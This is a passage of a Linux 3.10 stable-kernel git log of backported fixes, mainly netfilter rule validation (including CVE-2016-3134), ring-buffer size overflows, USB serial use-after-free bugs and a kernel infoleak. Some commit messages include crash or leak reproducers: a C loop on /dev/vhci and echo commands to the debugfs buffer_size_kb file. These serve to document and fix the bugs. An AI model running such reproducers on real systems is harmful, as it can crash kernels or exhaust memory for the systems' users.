2c33645d366d ("perf/x86: Honor the architectural performance monitoring version") Link: http://lkml.kernel.org/r/1462974711-10037-1-git-send-email-aryabinin@virtuozzo.com Signed-off-by: Ingo Molnar Cc: Kevin Christopher Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 090e57db3262a601afc689df602ee534db344e22 Author: Palik, Imre Date: Mon Jun 8 14:46:49 2015 +0200 perf/x86: Honor the architectural performance monitoring version commit 2c33645d366d13b969d936b68b9f4875b1fdddea upstream. Architectural performance monitoring, version 1, doesn't support fixed counters. Currently, even if a hypervisor advertises support for architectural performance monitoring version 1, perf may still try to use the fixed counters, as the constraints are set up based on the CPU model. This patch ensures that perf honors the architectural performance monitoring version returned by CPUID, and it only uses the fixed counters for version 2 and above. (Some of the ideas in this patch came from Peter Zijlstra.) Signed-off-by: Imre Palik Signed-off-by: Peter Zijlstra (Intel) Cc: Andrew Morton Cc: Andy Lutomirski Cc: Anthony Liguori Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Paul Mackerras Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1433767609-1039-1-git-send-email-imrep.amz@gmail.com Signed-off-by: Ingo Molnar [wt: FIXED_EVENT_FLAGS was X86_RAW_EVENT_MASK in 3.10] Cc: Kevin Christopher Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cd5972aafb88f3783e9864ed8e5c723dcacc8c84 Author: Florian Westphal Date: Fri Apr 1 15:37:59 2016 +0200 netfilter: x_tables: introduce and use xt_copy_counters_from_user commit 63ecb81aadf1c823c85c70a2bfd1ec9df3341a72 upstream. commit d7591f0c41ce3e67600a982bab6989ef0f07b3ce upstream The three variants use same copy&pasted code, condense this into a helper and use that. Make sure info.name is 0-terminated. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a86133edca320a6b917c72188bddab835aed26d5 Author: Bernhard Thaler Date: Thu May 28 10:26:18 2015 +0200 Revert "netfilter: ensure number of counters is >0 in do_replace()" commit d26e2c9ffa385dd1b646f43c1397ba12af9ed431 upstream. This partially reverts commit 1086bbe97a07 ("netfilter: ensure number of counters is >0 in do_replace()") in net/bridge/netfilter/ebtables.c. Setting rules with ebtables does not work any more with 1086bbe97a07 place. There is an error message and no rules set in the end. e.g. ~# ebtables -t nat -A POSTROUTING --src 12:34:56:78:9a:bc -j DROP Unable to update the kernel. Two possible causes: 1. Multiple ebtables programs were executing simultaneously. The ebtables userspace tool doesn't by default support multiple ebtables programs running Reverting the ebtables part of 1086bbe97a07 makes this work again. Signed-off-by: Bernhard Thaler Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e8695ae318b472b1afcaab9a75c4f553226ae1be Author: Florian Westphal Date: Fri Apr 1 14:17:34 2016 +0200 netfilter: x_tables: do compat validation via translate_table commit 09d9686047dbbe1cf4faa558d3ecc4aae2046054 upstream. This looks like refactoring, but its also a bug fix. Problem is that the compat path (32bit iptables, 64bit kernel) lacks a few sanity tests that are done in the normal path. For example, we do not check for underflows and the base chain policies. While its possible to also add such checks to the compat path, its more copy&pastry, for instance we cannot reuse check_underflow() helper as e->target_offset differs in the compat case. Other problem is that it makes auditing for validation errors harder; two places need to be checked and kept in sync. At a high level 32 bit compat works like this: 1- initial pass over blob: validate match/entry offsets, bounds checking lookup all matches and targets do bookkeeping wrt. size delta of 32/64bit structures assign match/target.u.kernel pointer (points at kernel implementation, needed to access ->compatsize etc.) 2- allocate memory according to the total bookkeeping size to contain the translated ruleset 3- second pass over original blob: for each entry, copy the 32bit representation to the newly allocated memory. This also does any special match translations (e.g. adjust 32bit to 64bit longs, etc). 4- check if ruleset is free of loops (chase all jumps) 5-first pass over translated blob: call the checkentry function of all matches and targets. The alternative implemented by this patch is to drop steps 3&4 from the compat process, the translation is changed into an intermediate step rather than a full 1:1 translate_table replacement. In the 2nd pass (step #3), change the 64bit ruleset back to a kernel representation, i.e. put() the kernel pointer and restore ->u.user.name . This gets us a 64bit ruleset that is in the format generated by a 64bit iptables userspace -- we can then use translate_table() to get the 'native' sanity checks. This has two drawbacks: 1. we re-validate all the match and target entry structure sizes even though compat translation is supposed to never generate bogus offsets. 2. we put and then re-lookup each match and target. THe upside is that we get all sanity tests and ruleset validations provided by the normal path and can remove some duplicated compat code. iptables-restore time of autogenerated ruleset with 300k chains of form -A CHAIN0001 -m limit --limit 1/s -j CHAIN0002 -A CHAIN0002 -m limit --limit 1/s -j CHAIN0003 shows no noticeable differences in restore times: old: 0m30.796s new: 0m31.521s 64bit: 0m25.674s Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d7461a8140df2abce8371562c22a2896162489cc Author: Dave Jones Date: Tue May 19 20:55:17 2015 -0400 netfilter: ensure number of counters is >0 in do_replace() commit 1086bbe97a074844188c6c988fa0b1a98c3ccbb9 upstream. After improving setsockopt() coverage in trinity, I started triggering vmalloc failures pretty reliably from this code path: warn_alloc_failed+0xe9/0x140 __vmalloc_node_range+0x1be/0x270 vzalloc+0x4b/0x50 __do_replace+0x52/0x260 [ip_tables] do_ipt_set_ctl+0x15d/0x1d0 [ip_tables] nf_setsockopt+0x65/0x90 ip_setsockopt+0x61/0xa0 raw_setsockopt+0x16/0x60 sock_common_setsockopt+0x14/0x20 SyS_setsockopt+0x71/0xd0 It turns out we don't validate that the num_counters field in the struct we pass in from userspace is initialized. The same problem also exists in ebtables, arptables, ipv6, and the compat variants. Signed-off-by: Dave Jones Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e9038473c3dca7d042857973b7504abf26d99757 Author: Florian Westphal Date: Fri Apr 1 14:17:33 2016 +0200 netfilter: x_tables: xt_compat_match_from_user doesn't need a retval commit 0188346f21e6546498c2a0f84888797ad4063fc5 upstream. Always returned 0. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 1ab0b744b980c0bb8714fa6defbe74a6abcd671f Author: Florian Westphal Date: Fri Apr 1 14:17:31 2016 +0200 netfilter: ip6_tables: simplify translate_compat_table args commit 329a0807124f12fe1c8032f95d8a8eb47047fb0e upstream. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d133d982b2a9a56fb8130152187e9b96596556f9 Author: Florian Westphal Date: Fri Apr 1 14:17:30 2016 +0200 netfilter: ip_tables: simplify translate_compat_table args commit 7d3f843eed29222254c9feab481f55175a1afcc9 upstream. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d24085c10d5228ca563875e663285ac8a39d1503 Author: Florian Westphal Date: Fri Apr 1 14:17:32 2016 +0200 netfilter: arp_tables: simplify translate_compat_table args commit 8dddd32756f6fe8e4e82a63361119b7e2384e02f upstream. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ca3c507a13da7bfb0647dcf5690c3dd46c644f73 Author: Florian Westphal Date: Wed Jun 1 02:04:44 2016 +0200 netfilter: x_tables: don't reject valid target size on some architectures commit 7b7eba0f3515fca3296b8881d583f7c1042f5226 upstream. Quoting John Stultz: In updating a 32bit arm device from 4.6 to Linus' current HEAD, I noticed I was having some trouble with networking, and realized that /proc/net/ip_tables_names was suddenly empty. Digging through the registration process, it seems we're catching on the: if (strcmp(t->u.user.name, XT_STANDARD_TARGET) == 0 && target_offset + sizeof(struct xt_standard_target) != next_offset) return -EINVAL; Where next_offset seems to be 4 bytes larger then the offset + standard_target struct size. next_offset needs to be aligned via XT_ALIGN (so we can access all members of ip(6)t_entry struct). This problem didn't show up on i686 as it only needs 4-byte alignment for u64, but iptables userspace on other 32bit arches does insert extra padding. Reported-by: John Stultz Tested-by: John Stultz Fixes: 7ed2abddd20cf ("netfilter: x_tables: check standard target size too") Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d88ce8358774bebb009d0c968f89329ad5a38a7f Author: Florian Westphal Date: Fri Apr 1 14:17:29 2016 +0200 netfilter: x_tables: validate all offsets and sizes in a rule commit 13631bfc604161a9d69cd68991dff8603edd66f9 upstream. Validate that all matches (if any) add up to the beginning of the target and that each match covers at least the base structure size. The compat path should be able to safely re-use the function as the structures only differ in alignment; added a BUILD_BUG_ON just in case we have an arch that adds padding as well. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 413373bac9aff1f31c49c2200ae095d0d9cd35ca Author: Florian Westphal Date: Fri Apr 1 14:17:28 2016 +0200 netfilter: x_tables: check for bogus target offset commit ce683e5f9d045e5d67d1312a42b359cb2ab2a13c upstream. We're currently asserting that targetoff + targetsize <= nextoff. Extend it to also check that targetoff is >= sizeof(xt_entry). Since this is generic code, add an argument pointing to the start of the match/target, we can then derive the base structure size from the delta. We also need the e->elems pointer in a followup change to validate matches. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3c420a03bae1cad439c7d1cecef6c6079a3df7c3 Author: Florian Westphal Date: Fri Apr 1 14:17:27 2016 +0200 netfilter: x_tables: check standard target size too commit 7ed2abddd20cf8f6bd27f65bd218f26fa5bf7f44 upstream. We have targets and standard targets -- the latter carries a verdict. The ip/ip6tables validation functions will access t->verdict for the standard targets to fetch the jump offset or verdict for chainloop detection, but this happens before the targets get checked/validated. Thus we also need to check for verdict presence here, else t->verdict can point right after a blob. Spotted with UBSAN while testing malformed blobs. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0ec7b346feaa62da36c64c44c4f5c1c8621dcd14 Author: Florian Westphal Date: Fri Apr 1 14:17:26 2016 +0200 netfilter: x_tables: add compat version of xt_check_entry_offsets commit fc1221b3a163d1386d1052184202d5dc50d302d1 upstream. 32bit rulesets have different layout and alignment requirements, so once more integrity checks get added to xt_check_entry_offsets it will reject well-formed 32bit rulesets. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3b69910d6d4e45a9ae164e5111b9a52e064df24a Author: Florian Westphal Date: Fri Apr 1 14:17:25 2016 +0200 netfilter: x_tables: assert minimum target size commit a08e4e190b866579896c09af59b3bdca821da2cd upstream. The target size includes the size of the xt_entry_target struct. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 544d5ed7e46d73602a3065a401d5a4927b215167 Author: Florian Westphal Date: Fri Apr 1 14:17:24 2016 +0200 netfilter: x_tables: kill check_entry helper commit aa412ba225dd3bc36d404c28cdc3d674850d80d0 upstream. Once we add more sanity testing to xt_check_entry_offsets it becomes relvant if we're expecting a 32bit 'config_compat' blob or a normal one. Since we already have a lot of similar-named functions (check_entry, compat_check_entry, find_and_check_entry, etc.) and the current incarnation is short just fold its contents into the callers. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b5bd8b53ae1296a24cda484d4986b4a00eb5c089 Author: Florian Westphal Date: Fri Apr 1 14:17:23 2016 +0200 netfilter: x_tables: add and use xt_check_entry_offsets commit 7d35812c3214afa5b37a675113555259cfd67b98 upstream. Currently arp/ip and ip6tables each implement a short helper to check that the target offset is large enough to hold one xt_entry_target struct and that t->u.target_size fits within the current rule. Unfortunately these checks are not sufficient. To avoid adding new tests to all of ip/ip6/arptables move the current checks into a helper, then extend this helper in followup patches. Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit da1e9f0b8d847ec5209f5a2fc14edbca4ead6033 Author: Florian Westphal Date: Fri Jul 15 15:08:15 2016 -0400 netfilter: x_tables: don't move to non-existent next rule commit f24e230d257af1ad7476c6e81a8dc3127a74204e upstream. Ben Hawkes says: In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it is possible for a user-supplied ipt_entry structure to have a large next_offset field. This field is not bounds checked prior to writing a counter value at the supplied offset. Base chains enforce absolute verdict. User defined chains are supposed to end with an unconditional return, xtables userspace adds them automatically. But if such return is missing we will move to non-existent next rule. CVE-2016-3134 Reported-by: Ben Hawkes Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso Signed-off-by: Chas Williams <3chas3@gmail.com> Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 8d103a3ac16dd1d2f9e60ac56d72c20c392db8b2 Author: Andi Kleen Date: Mon Aug 5 15:02:45 2013 -0700 x86, asmlinkage, apm: Make APM data structure used from assembler visible commit 54c2f3fdb941204cad136024c7b854b7ad112ab6 upstream. Signed-off-by: Andi Kleen Link: http://lkml.kernel.org/r/1375740170-7446-12-git-send-email-andi@firstfloor.org Signed-off-by: H. Peter Anvin Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 79f91cc716675f963552876b5cfe7c0b2cf54824 Author: Willy Tarreau Date: Sun Jun 12 11:41:54 2016 +0200 Linux 3.10.102 Signed-off-by: Pranav Vashi commit efade569782e836b4a4b4439071ac8320f08eff3 Author: Chanwoo Choi Date: Thu Apr 21 18:58:31 2016 +0900 serial: samsung: Reorder the sequence of clock control when call s3c24xx_serial_set_termios() commit b8995f527aac143e83d3900ff39357651ea4e0f6 upstream. This patch fixes the broken serial log when changing the clock source of uart device. Before disabling the original clock source, this patch enables the new clock source to protect the clock off state for a split second. Signed-off-by: Chanwoo Choi Reviewed-by: Marek Szyprowski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 37d4b6de9db4f12a6971f565f197916f96131248 Author: Jiri Slaby Date: Tue May 3 17:05:54 2016 +0200 tty: vt, return error when con_startup fails commit 6798df4c5fe0a7e6d2065cf79649a794e5ba7114 upstream. When csw->con_startup() fails in do_register_con_driver, we return no error (i.e. 0). This was changed back in 2006 by commit 3e795de763. Before that we used to return -ENODEV. So fix the return value to be -ENODEV in that case again. Fixes: 3e795de763 ("VT binding: Add binding/unbinding support for the VT console") Signed-off-by: Jiri Slaby Reported-by: "Dan Carpenter" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 796382eb702d9f986c675d0f659fc4b91ce5efbe Author: Schemmel Hans-Christoph Date: Fri Apr 29 08:51:06 2016 +0000 USB: serial: option: add support for Cinterion PH8 and AHxx commit 444f94e9e625f6ec6bbe2cb232a6451c637f35a3 upstream. Added support for Gemalto's Cinterion PH8 and AHxx products with 2 RmNet Interfaces and products with 1 RmNet + 1 USB Audio interface. In addition some minor renaming and formatting. Signed-off-by: Hans-Christoph Schemmel [johan: sort current entries and trim trailing whitespace ] Cc: stable Signed-off-by: Johan Hovold Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0801fe75acf4e1b1c4e7255b703d9ab777193e29 Author: Johan Hovold Date: Sun May 8 20:07:57 2016 +0200 USB: serial: io_edgeport: fix memory leaks in probe error path commit c8d62957d450cc1a22ce3242908709fe367ddc8e upstream. URBs and buffers allocated in attach for Epic devices would never be deallocated in case of a later probe error (e.g. failure to allocate minor numbers) as disconnect is then never called. Fix by moving deallocation to release and making sure that the URBs are first unlinked. Fixes: f9c99bb8b3a1 ("USB: usb-serial: replace shutdown with disconnect, release") Cc: stable # v2.6.31 Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e14aea81fa2c51ecfff38b4d0e17dd2df8b3b02b Author: Johan Hovold Date: Sun May 8 20:08:02 2016 +0200 USB: serial: quatech2: fix use-after-free in probe error path commit 028c49f5e02a257c94129cd815f7c8485f51d4ef upstream. The interface read URB is submitted in attach, but was only unlinked by the driver at disconnect. In case of a late probe error (e.g. due to failed minor allocation), disconnect is never called and we would end up with active URBs for an unbound interface. This in turn could lead to deallocated memory being dereferenced in the completion callback. Fixes: f7a33e608d9a ("USB: serial: add quatech2 usb to serial driver") Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5b8908b71c712e9424a7b2bf21b8d24acdaccc8f Author: Johan Hovold Date: Sun May 8 20:07:58 2016 +0200 USB: serial: keyspan: fix use-after-free in probe error path commit 35be1a71d70775e7bd7e45fa6d2897342ff4c9d2 upstream. The interface instat and indat URBs were submitted in attach, but never unlinked in release before deallocating the corresponding transfer buffers. In the case of a late probe error (e.g. due to failed minor allocation), disconnect would not have been called before release, causing the buffers to be freed while the URBs are still in use. We'd also end up with active URBs for an unbound interface. Fixes: f9c99bb8b3a1 ("USB: usb-serial: replace shutdown with disconnect, release") Cc: stable # v2.6.31 Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 041931f8f4567bcd526ef0b8c1d1257f0f839743 Author: Jiri Slaby Date: Sat Mar 19 11:49:43 2016 +0100 Bluetooth: vhci: purge unhandled skbs commit 13407376b255325fa817798800117a839f3aa055 upstream. The write handler allocates skbs and queues them into data->readq. Read side should read them, if there is any. If there is none, skbs should be dropped by hdev->flush. But this happens only if the device is HCI_UP, i.e. hdev->power_on work was triggered already. When it was not, skbs stay allocated in the queue when /dev/vhci is closed. So purge the queue in ->release. Program to reproduce: #include #include #include #include #include #include #include int main() { char buf[] = { 0xff, 0 }; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf), }; int fd; while (1) { fd = open("/dev/vhci", O_RDWR); if (fd < 0) err(1, "open"); usleep(50); if (writev(fd, &iov, 1) < 0) err(1, "writev"); usleep(50); close(fd); } return 0; } Result: kmemleak: 4609 new suspected memory leaks unreferenced object 0xffff88059f4d5440 (size 232): comm "vhci", pid 1084, jiffies 4294912542 (age 37569.296s) hex dump (first 32 bytes): 20 f0 23 87 05 88 ff ff 20 f0 23 87 05 88 ff ff .#..... .#..... 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: ... [] __alloc_skb+0x0/0x5a0 [] vhci_create_device+0x5c/0x580 [hci_vhci] [] vhci_write+0x306/0x4c8 [hci_vhci] Fixes: 23424c0d31 (Bluetooth: Add support creating virtual AMP controllers) Signed-off-by: Jiri Slaby Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4d1d4aa36efe45931622f7858e401b59234db5c3 Author: Matt Gumbel Date: Fri May 20 10:33:46 2016 +0300 mmc: longer timeout for long read time quirk commit 32ecd320db39bcb007679ed42f283740641b81ea upstream. 008GE0 Toshiba mmc in some Intel Baytrail tablets responds to MMC_SEND_EXT_CSD in 450-600ms. This patch will... () Increase the long read time quirk timeout from 300ms to 600ms. Original author of that quirk says 300ms was only a guess and that the number may need to be raised in the future. () Add this specific MMC to the quirk Signed-off-by: Matt Gumbel Signed-off-by: Adrian Hunter Cc: stable@vger.kernel.org Signed-off-by: Ulf Hansson Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit cd86bdce0815351202db2b1037bf9a246f1d4344 Author: Adrian Hunter Date: Thu May 5 08:12:28 2016 +0300 mmc: mmc: Fix partition switch timeout for some eMMCs commit 1c447116d017a98c90f8f71c8c5a611e0aa42178 upstream. Some eMMCs set the partition switch timeout too low. Now typically eMMCs are considered a critical component (e.g. because they store the root file system) and consequently are expected to be reliable. Thus we can neglect the use case where eMMCs can't switch reliably and we might want a lower timeout to facilitate speedy recovery. Although we could employ a quirk for the cards that are affected (if we could identify them all), as described above, there is little benefit to having a low timeout, so instead simply set a minimum timeout. The minimum is set to 300ms somewhat arbitrarily - the examples that have been seen had a timeout of 10ms but were sometimes taking 60-70ms. Signed-off-by: Adrian Hunter Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a4196acc804baf5785a356cce51379218118ad10 Author: Roger Quadros Date: Mon May 9 11:28:37 2016 +0300 mfd: omap-usb-tll: Fix scheduling while atomic BUG commit b49b927f16acee626c56a1af4ab4cb062f75b5df upstream. We shouldn't be calling clk_prepare_enable()/clk_prepare_disable() in an atomic context. Fixes the following issue: [ 5.830970] ehci-omap: OMAP-EHCI Host Controller driver [ 5.830974] driver_register 'ehci-omap' [ 5.895849] driver_register 'wl1271_sdio' [ 5.896870] BUG: scheduling while atomic: udevd/994/0x00000002 [ 5.896876] 4 locks held by udevd/994: [ 5.896904] #0: (&dev->mutex){......}, at: [] __driver_attach+0x60/0xac [ 5.896923] #1: (&dev->mutex){......}, at: [] __driver_attach+0x70/0xac [ 5.896946] #2: (tll_lock){+.+...}, at: [] omap_tll_enable+0x2c/0xd0 [ 5.896966] #3: (prepare_lock){+.+...}, at: [] clk_prepare_lock+0x48/0xe0 [ 5.897042] Modules linked in: wlcore_sdio(+) ehci_omap(+) dwc3_omap snd_soc_ts3a225e leds_is31fl319x bq27xxx_battery_i2c tsc2007 bq27xxx_battery bq2429x_charger ina2xx tca8418_keypad as5013 leds_tca6507 twl6040_vibra gpio_twl6040 bmp085_i2c(+) palmas_gpadc usb3503 palmas_pwrbutton bmg160_i2c(+) bmp085 bma150(+) bmg160_core bmp280 input_polldev snd_soc_omap_mcbsp snd_soc_omap_mcpdm snd_soc_omap snd_pcm_dmaengine [ 5.897048] Preemption disabled at:[< (null)>] (null) [ 5.897051] [ 5.897059] CPU: 0 PID: 994 Comm: udevd Not tainted 4.6.0-rc5-letux+ #233 [ 5.897062] Hardware name: Generic OMAP5 (Flattened Device Tree) [ 5.897076] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 5.897087] [] (show_stack) from [] (dump_stack+0x88/0xc0) [ 5.897099] [] (dump_stack) from [] (__schedule_bug+0xac/0xd0) [ 5.897111] [] (__schedule_bug) from [] (__schedule+0x88/0x7e4) [ 5.897120] [] (__schedule) from [] (schedule+0x9c/0xc0) [ 5.897129] [] (schedule) from [] (schedule_preempt_disabled+0x14/0x20) [ 5.897140] [] (schedule_preempt_disabled) from [] (mutex_lock_nested+0x258/0x43c) [ 5.897150] [] (mutex_lock_nested) from [] (clk_prepare_lock+0x48/0xe0) [ 5.897160] [] (clk_prepare_lock) from [] (clk_prepare+0x10/0x28) [ 5.897169] [] (clk_prepare) from [] (omap_tll_enable+0x64/0xd0) [ 5.897180] [] (omap_tll_enable) from [] (usbhs_runtime_resume+0x18/0x17c) [ 5.897192] [] (usbhs_runtime_resume) from [] (pm_generic_runtime_resume+0x2c/0x40) [ 5.897202] [] (pm_generic_runtime_resume) from [] (__rpm_callback+0x38/0x68) [ 5.897210] [] (__rpm_callback) from [] (rpm_callback+0x70/0x88) [ 5.897218] [] (rpm_callback) from [] (rpm_resume+0x4ec/0x7ec) [ 5.897227] [] (rpm_resume) from [] (__pm_runtime_resume+0x4c/0x64) [ 5.897236] [] (__pm_runtime_resume) from [] (driver_probe_device+0x30/0x70) [ 5.897246] [] (driver_probe_device) from [] (__driver_attach+0x88/0xac) [ 5.897256] [] (__driver_attach) from [] (bus_for_each_dev+0x50/0x84) [ 5.897267] [] (bus_for_each_dev) from [] (bus_add_driver+0xcc/0x1e4) [ 5.897276] [] (bus_add_driver) from [] (driver_register+0xac/0xf4) [ 5.897286] [] (driver_register) from [] (do_one_initcall+0x100/0x1b8) [ 5.897296] [] (do_one_initcall) from [] (do_init_module+0x58/0x1c0) [ 5.897304] [] (do_init_module) from [] (SyS_finit_module+0x88/0x90) [ 5.897313] [] (SyS_finit_module) from [] (ret_fast_syscall+0x0/0x1c) [ 5.912697] ------------[ cut here ]------------ [ 5.912711] WARNING: CPU: 0 PID: 994 at kernel/sched/core.c:2996 _raw_spin_unlock+0x28/0x58 [ 5.912717] DEBUG_LOCKS_WARN_ON(val > preempt_count()) Reported-by: H. Nikolaus Schaller Tested-by: H. Nikolaus Schaller Signed-off-by: Roger Quadros Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 2c4288923437566cf6f51206153488299b1b292e Author: Steven Rostedt (Red Hat) Date: Fri May 13 09:34:12 2016 -0400 ring-buffer: Prevent overflow of size in ring_buffer_resize() commit 59643d1535eb220668692a5359de22545af579f6 upstream. If the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE then the DIV_ROUND_UP() will return zero. Here's the details: # echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb tracing_entries_write() processes this and converts kb to bytes. 18014398509481980 << 10 = 18446744073709547520 and this is passed to ring_buffer_resize() as unsigned long size. size = DIV_ROUND_UP(size, BUF_PAGE_SIZE); Where DIV_ROUND_UP(a, b) is (a + b - 1)/b BUF_PAGE_SIZE is 4080 and here 18446744073709547520 + 4080 - 1 = 18446744073709551599 where 18446744073709551599 is still smaller than 2^64 2^64 - 18446744073709551599 = 17 But now 18446744073709551599 / 4080 = 4521260802379792 and size = size * 4080 = 18446744073709551360 This is checked to make sure its still greater than 2 * 4080, which it is. Then we convert to the number of buffer pages needed. nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE) but this time size is 18446744073709551360 and 2^64 - (18446744073709551360 + 4080 - 1) = -3823 Thus it overflows and the resulting number is less than 4080, which makes 3823 / 4080 = 0 an nr_pages is set to this. As we already checked against the minimum that nr_pages may be, this causes the logic to fail as well, and we crash the kernel. There's no reason to have the two DIV_ROUND_UP() (that's just result of historical code changes), clean up the code and fix this bug. Cc: stable@vger.kernel.org # 3.5+ Fixes: 83f40318dab00 ("ring-buffer: Make removal of ring buffer pages atomic") Signed-off-by: Steven Rostedt Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6de4897b399186a79fcf6462a4fd53d79f2f40e8 Author: Steven Rostedt (Red Hat) Date: Thu May 12 11:01:24 2016 -0400 ring-buffer: Use long for nr_pages to avoid overflow failures commit 9b94a8fba501f38368aef6ac1b30e7335252a220 upstream. The size variable to change the ring buffer in ftrace is a long. The nr_pages used to update the ring buffer based on the size is int. On 64 bit machines this can cause an overflow problem. For example, the following will cause the ring buffer to crash: # cd /sys/kernel/debug/tracing # echo 10 > buffer_size_kb # echo 8556384240 > buffer_size_kb Then you get the warning of: WARNING: CPU: 1 PID: 318 at kernel/trace/ring_buffer.c:1527 rb_update_pages+0x22f/0x260 Which is: RB_WARN_ON(cpu_buffer, nr_removed); Note each ring buffer page holds 4080 bytes. This is because: 1) 10 causes the ring buffer to have 3 pages. (10kb requires 3 * 4080 pages to hold) 2) (2^31 / 2^10 + 1) * 4080 = 8556384240 The value written into buffer_size_kb is shifted by 10 and then passed to ring_buffer_resize(). 8556384240 * 2^10 = 8761737461760 3) The size passed to ring_buffer_resize() is then divided by BUF_PAGE_SIZE which is 4080. 8761737461760 / 4080 = 2147484672 4) nr_pages is subtracted from the current nr_pages (3) and we get: 2147484669. This value is saved in a signed integer nr_pages_to_update 5) 2147484669 is greater than 2^31 but smaller than 2^32, a signed int turns into the value of -2147482627 6) As the value is a negative number, in update_pages_handler() it is negated and passed to rb_remove_pages() and 2147482627 pages will be removed, which is much larger than 3 and it causes the warning because not all the pages asked to be removed were removed. Link: https://bugzilla.kernel.org/show_bug.cgi?id=118001 Fixes: 7a8e76a3829f1 ("tracing: unified trace buffer") Reported-by: Hao Qin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 66caccd5616c1726bbebad5d4af64849686c4c78 Author: Stefan Metzmacher Date: Tue May 3 10:52:30 2016 +0200 fs/cifs: correctly to anonymous authentication via NTLMSSP commit cfda35d98298131bf38fbad3ce4cd5ecb3cf18db upstream. See [MS-NLMP] 3.2.5.1.2 Server Receives an AUTHENTICATE_MESSAGE from the Client: ... Set NullSession to FALSE If (AUTHENTICATE_MESSAGE.UserNameLen == 0 AND AUTHENTICATE_MESSAGE.NtChallengeResponse.Length == 0 AND (AUTHENTICATE_MESSAGE.LmChallengeResponse == Z(1) OR AUTHENTICATE_MESSAGE.LmChallengeResponse.Length == 0)) -- Special case: client requested anonymous authentication Set NullSession to TRUE ... Only server which map unknown users to guest will allow access using a non-null NTChallengeResponse. For Samba it's the "map to guest = bad user" option. BUG: https://bugzilla.samba.org/show_bug.cgi?id=11913 CC: Stable Signed-off-by: Stefan Metzmacher Signed-off-by: Steve French Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9963596cad67d6529039c47104917f8caf9763e8 Author: Kangjie Lu Date: Sun May 8 12:10:14 2016 -0400 net: fix a kernel infoleak in x25 module commit 79e48650320e6fba48369fccf13fd045315b19b8 upstream. Stack object "dte_facilities" is allocated in x25_rx_call_request(), which is supposed to be initialized in x25_negotiate_facilities. However, 5 fields (8 bytes in total) are not initialized. This object is then copied to userland via copy_to_user, thus infoleak occurs. Signed-off-by: Kangjie Lu Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau 